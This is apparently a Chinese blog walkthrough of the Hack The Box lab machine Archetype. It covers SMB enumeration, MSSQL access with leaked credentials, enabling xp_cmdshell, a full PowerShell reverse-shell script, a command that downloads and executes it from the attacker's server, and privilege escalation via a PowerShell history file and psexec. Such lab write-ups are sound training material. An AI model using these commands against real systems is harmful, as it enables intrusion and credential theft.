司腾

0x01 环境

最近准备玩玩hackthebox靶机,入门级靶机Archetype,首先我们需要先连上hackthebox vpn

靶机为在线,攻击机为本地kali

首先我们先在hackthebox下载openvpn,上传至kali中连接

命令

openvpn starting_point_xxx.ovpn

连接成功

image-20210613202701519

然后我们就可以快落的打靶机了。

image-20210613202752689

靶机地址:10.10.10.27

0x02 工具准备

Impacket网络协议工具包

介绍:https://www.freebuf.com/sectool/175208.html

安装命令:

git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
python3 setup.py install

安装成功

image-20210613215427514

smbclient是linux下用于连接windows smb共享资源的工具,此工具在kali中自带。

0x03 信息收集

端口扫描

image-20210613230403132

发现开放135、139、445和1433端口。并且也是windows服务器

135、139、445是文件共享协议或打印机共享端口。

1433是mssql数据库服务端口

懂的都懂,先干445一波。毕竟是windows的,ms17-010打一波

image-20210613231953178

无ms17-010

445是smb共享协议,可以尝试是否存在文件共享匿名访问。

连接命令

smbclient -N -L \\10.10.10.27\\

-N 匿名访问
-L 主机IP

image-20210616231239620

可以发现有多个共享文件夹

smbclient -N \\\\10.10.10.27\\backups   #匿名访问backups文件夹

image-20210616232127082

使用dir查看文件夹下的内容,存在prod.dtsConfig文件

get prod.dtsConfig 下载文件到本地

image-20210617030322002

里面的账号密码应该是mssql的,可以使用Impacket工具包的mssqlclient.py

账号:ARCHETYPE/sql_svc
密码:M3g4c0rp123

mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth

image-20210617031624928

连接成功。

SELECT IS_SRVROLEMEMBER('sysadmin')

image-20210617034534551

判断当前是否拥有sysadmin权限,返回值为1,说明当前用户具有sysadmin权限

使用如下命令开启xp_cmdshell

EXEC sp_configure 'Show Advanced Options', 1;
reconfigure;
sp_configure;
EXEC sp_configure 'xp_cmdshell', 1;
reconfigure;
xp_cmdshell "whoami"

image-20210617041409071

可以执行命令后,可以直接反弹shell了。

使用powershell进行反弹,新建ps文件,写入如下命令

$client = New-Object System.Net.Sockets.TCPClient("10.10.14.110",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

用python开启小型web服务器,方便远程下载

python3 -m http.server 8080

image-20210617042452482

kali开启监听模式

执行如下命令

xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.110:8080/shell.ps1\");"

执行命令后,shell成功反弹回来

image-20210617042909522

查看内容

image-20210617042957102

找到用户名所有的文件夹,查看桌面会发现有一个user.txt文件。

image-20210617043200818

type user.txt

flag:3e7b102e78218e935bf3f4951fec21a3

image-20210617043318711

成功。但是系统提示,还有一个flag没有找到,查看了下官方的WriteUP。

0x04 提权

使用如下命令查看 powershell 历史信息

type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

image-20210619050621864

发现了高权限的账户和密码

账号:administrator
密码:MEGACORP_4dm1n!!

使用Impacket网络协议工具包中的 psexec.py 脚本

psexec.py administrator@10.10.10.27

提权成功

image-20210619051031571

最后在administrator的桌面找到root.txt

image-20210619051431472

flag: b91ccec3305e98240082d4474b848528

image-20210619051634141